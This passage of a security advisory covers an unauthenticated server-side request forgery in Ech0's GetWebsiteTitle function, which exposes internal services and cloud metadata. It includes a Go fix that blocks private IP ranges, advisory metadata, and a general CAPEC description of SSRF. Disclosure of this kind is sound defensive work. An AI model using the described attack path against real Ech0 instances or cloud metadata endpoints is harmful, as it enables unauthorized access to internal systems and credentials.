that return HTML responses.\n\nThe attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.\n\n## Recommended Fix\n\nAdd URL validation in `GetWebsiteTitle` to block requests to private/reserved IP ranges and restrict allowed schemes. In `internal/service/common/common.go`:\n\n```go\nimport (\n \"net\"\n \"net/url\"\n)\n\nfunc isPrivateIP(ip net.IP) bool {\n privateRanges := []string{\n \"127.0.0.0/8\",\n \"10.0.0.0/8\",\n \"172.16.0.0/12\",\n \"192.168.0.0/16\",\n \"169.254.0.0/16\",\n \"::1/128\",\n \"fc00::/7\",\n \"fe80::/10\",\n }\n for _, cidr := range privateRanges {\n _, network, _ := net.ParseCIDR(cidr)\n if network.Contains(ip) {\n return true\n }\n }\n return false\n}\n\nfunc (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {\n websiteURL = httpUtil.TrimURL(websiteURL)\n\n // Validate URL scheme\n parsed, err := url.Parse(websiteURL)\n if err != nil || (parsed.Scheme != \"http\" \u0026\u0026 parsed.Scheme != \"https\") {\n return \"\", errors.New(\"only http and https URLs are allowed\")\n }\n\n // Resolve hostname and block private IPs\n host := parsed.Hostname()\n ips, err := net.LookupIP(host)\n if err != nil {\n return \"\", fmt.Errorf(\"failed to resolve hostname: %w\", err)\n }\n for _, ip := range ips {\n if isPrivateIP(ip) {\n return \"\", errors.New(\"requests to private/internal addresses are not allowed\")\n }\n }\n\n body, err := httpUtil.SendRequest(websiteURL, \"GET\", httpUtil.Header{}, 10*time.Second)\n // ... rest unchanged\n}\n```\n\nAdditionally, consider:\n1. Removing `InsecureSkipVerify: true` from `SendRequest` in `internal/util/http/http.go:69`\n2. Disabling redirect following in the HTTP client (`CheckRedirect` returning `http.ErrUseLastResponse`) or re-validating the target IP after each redirect to prevent DNS rebinding\n3. Adding rate limiting to this endpoint",
"id": "GHSA-cqgf-f4x7-g6wc",
"modified": "2026-04-06T23:41:08Z",
"published": "2026-04-03T03:33:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35037"
},
{
"type": "PACKAGE",
"url": "https://github.com/lin-snow/Ech0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.